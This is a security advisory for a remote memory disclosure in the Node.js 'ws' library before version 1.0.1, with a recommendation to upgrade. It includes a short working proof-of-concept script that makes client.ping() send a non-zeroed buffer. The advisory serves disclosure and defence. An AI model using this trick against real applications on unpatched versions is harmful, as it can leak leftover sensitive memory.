Details

Remote Memory Disclosure in ws Versions of `ws` prior to 1.0.1 are affected by a remote memory disclosure vulnerability. In certain rare circumstances, applications which allow users to control the arguments of a `client.ping()` call will cause `ws` to send the contents of an allocated but non-zero-filled buffer to the server. This may disclose sensitive information that still exists in memory after previous use of the memory for other tasks. ## Proof of Concept ``` var ws = require('ws') var server = new ws.Server({ port: 9000 }) var client = new ws('ws://localhost:9000') client.on('open', function () { console.log('open') client.ping(50) // this sends a non-zeroed buffer of 50 bytes client.on('pong', function (data) { console.log('got pong') console.log(data) // Data from the client. }) }) ``` ## Recommendation Update to version 1.0.1 or greater.
